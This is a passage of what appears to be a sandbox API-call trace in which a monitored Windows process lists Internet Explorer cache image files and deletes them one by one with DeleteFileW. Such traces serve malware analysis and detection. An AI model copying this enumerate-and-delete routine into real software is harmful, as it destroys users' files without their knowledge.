ftLastWriteTime.dwLowDateTime=0xcc34c7e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x2246, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDAtwP[1].jpg", cAlternateFileName="BBDATW~1.JPG")) returned 1 [0099.827] lstrlenW (lpString="BBDAtwP[1].jpg") returned 14 [0099.827] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BBDAtwP[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDAtwP[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDAtwP[1].jpg" [0099.827] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDAtwP[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bbdatwp[1].jpg")) returned 1 [0099.828] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbce6cc0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbce6cc0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbce6cc0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x731, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDEBhY[1].jpg", cAlternateFileName="BBDEBH~1.JPG")) returned 1 [0099.828] lstrlenW (lpString="BBDEBhY[1].jpg") returned 14 [0099.828] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BBDEBhY[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDEBhY[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDEBhY[1].jpg" [0099.828] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDEBhY[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bbdebhy[1].jpg")) returned 1 [0099.847] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbcc0b60, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbcc0b60, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbcc0b60, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x27c7, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDENHn[1].jpg", cAlternateFileName="BBDENH~1.JPG")) returned 1 [0099.847] lstrlenW (lpString="BBDENHn[1].jpg") returned 14 [0099.848] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BBDENHn[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDENHn[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDENHn[1].jpg" [0099.848] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDENHn[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bbdenhn[1].jpg")) returned 1 [0099.855] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf02d3740, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xf02d3740, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xf02f98a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xab08, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDFSY9[1].jpg", cAlternateFileName="BBDFSY~1.JPG")) returned 1 [0099.855] lstrlenW (lpString="BBDFSY9[1].jpg") returned 14 [0099.855] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BBDFSY9[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDFSY9[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDFSY9[1].jpg" [0099.855] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDFSY9[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bbdfsy9[1].jpg")) returned 1 [0099.858] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc09ef20, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc09ef20, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc09ef20, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x43f2, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDiDYy[1].jpg", cAlternateFileName="BBDIDY~1.JPG")) returned 1 [0099.858] lstrlenW (lpString="BBDiDYy[1].jpg") returned 14 [0099.858] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BBDiDYy[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDiDYy[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDiDYy[1].jpg" [0099.858] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDiDYy[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bbdidyy[1].jpg")) returned 1 [0099.861] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf62eef80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xf62eef80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xf64b8000, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1fc5, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDKivI[1].jpg", cAlternateFileName="BBDKIV~1.JPG")) returned 1 [0099.861] lstrlenW (lpString="BBDKivI[1].jpg") returned 14 [0099.861] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BBDKivI[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDKivI[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDKivI[1].jpg" [0099.862] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDKivI[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bbdkivi[1].jpg")) returned 1 [0099.869] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdb677780, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xdb677780, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xdb677780, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x13f3, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDKPiR[1].jpg", cAlternateFileName="BBDKPI~1.JPG")) returned 1 [0099.869] lstrlenW (lpString="BBDKPiR[1].jpg") returned 14 [0099.869] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BBDKPiR[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDKPiR[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDKPiR[1].jpg" [0099.869] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDKPiR[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bbdkpir[1].jpg")) returned 1 [0099.873] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc300520, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc300520, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc300520, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1872, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDKWr8[1].jpg", cAlternateFileName="BBDKWR~1.JPG")) returned 1 [0099.873] lstrlenW (lpString="BBDKWr8[1].jpg") returned 14 [0099.873] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BBDKWr8[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDKWr8[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDKWr8[1].jpg" [0099.873] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDKWr8[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bbdkwr8[1].jpg")) returned 1 [0099.877] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbbdc320, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbbdc320, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbbdc320, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1451, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDLE8A[1].jpg", cAlternateFileName="BBDLE8~1.JPG")) returned 1 [0099.877] lstrlenW (lpString="BBDLE8A[1].jpg") returned 14 [0099.877] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BBDLE8A[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDLE8A[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDLE8A[1].jpg" [0099.877] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDLE8A[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bbdle8a[1].jpg")) returned 1 [0099.884] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdb677780, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xdb677780, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xdb677780, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x2e67, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDLfeZ[1].jpg", cAlternateFileName="BBDLFE~1.JPG")) returned 1 [0099.884] lstrlenW (lpString="BBDLfeZ[1].jpg") returned 14 [0099.884] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BBDLfeZ[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDLfeZ[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDLfeZ[1].jpg" [0099.884] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDLfeZ[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bbdlfez[1].jpg")) returned 1 [0099.885] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbfba6e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbfba6e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbfba6e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xa53, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDLGpz[1].jpg", cAlternateFileName="BBDLGP~1.JPG")) returned 1 [0099.885] lstrlenW (lpString="BBDLGpz[1].jpg") returned 14 [0099.885] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BBDLGpz[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDLGpz[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDLGpz[1].jpg" [0099.885] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDLGpz[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bbdlgpz[1].jpg")) returned 1 [0099.893] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1ab2c660, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1ab2c660, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1ab2c660, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x9be, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDLnD2[1].jpg", cAlternateFileName="BBDLND~1.JPG")) returned 1 [0099.893] lstrlenW (lpString="BBDLnD2[1].jpg") returned 14 [0099.893] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BBDLnD2[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDLnD2[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDLnD2[1].jpg" [0099.893] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDLnD2[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bbdlnd2[1].jpg")) returned 1 [0099.893] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1a4ecca0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1a4ecca0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1a4ecca0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x21ec, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDLNHE[1].jpg", cAlternateFileName="BBDLNH~1.JPG")) returned 1 [0099.893] lstrlenW (lpString="BBDLNHE[1].jpg") returned 14 [0099.893] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BBDLNHE[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDLNHE[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDLNHE[1].jpg" [0099.893] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDLNHE[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bbdlnhe[1].jpg")) returned 1 [0099.896] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf92d6a40, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xf92d6a40, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xf92d6a40, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x27aa, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDLoXM[1].jpg", cAlternateFileName="BBDLOX~1.JPG")) returned 1 [0099.897] lstrlenW (lpString="BBDLoXM[1].jpg") returned 14 [0099.897] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BBDLoXM[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDLoXM[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDLoXM[1].jpg" [0099.897] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDLoXM[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bbdloxm[1].jpg")) returned 1 [0099.901] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbed5ea0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbed5ea0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbed5ea0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x25e5, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDLpCk[1].jpg", cAlternateFileName="BBDLPC~1.JPG")) returned 1 [0099.901] lstrlenW (lpString="BBDLpCk[1].jpg") returned 14 [0099.901] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BBDLpCk[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDLpCk[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDLpCk[1].jpg" [0099.901] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDLpCk[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bbdlpck[1].jpg")) returned 1 [0099.901] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1a3bc1a0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1a3bc1a0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1a4ecca0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x2811, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDLPMU[1].jpg", cAlternateFileName="BBDLPM~1.JPG")) returned 1 [0099.901] lstrlenW (lpString="BBDLPMU[1].jpg") returned 14 [0099.901] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BBDLPMU[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDLPMU[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDLPMU[1].jpg" [0099.901] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDLPMU[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bbdlpmu[1].jpg")) returned 1 [0099.904] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcba5f560, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcba5f560, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcba5f560, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x81d, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDLufg[1].jpg", cAlternateFileName="BBDLUF~1.JPG")) returned 1 [0099.904] lstrlenW (lpString="BBDLufg[1].jpg") returned 14 [0099.904] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BBDLufg[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDLufg[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDLufg[1].jpg" [0099.904] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDLufg[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bbdlufg[1].jpg")) returned 1 [0099.904] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7342860, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xe7342860, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xe7342860, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1a34, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDLv5i[1].jpg", cAlternateFileName="BBDLV5~1.JPG")) returned 1 [0099.904] lstrlenW (lpString="BBDLv5i[1].jpg") returned 14 [0099.904] PathCombineW (in: pszDest=0x9a91840, 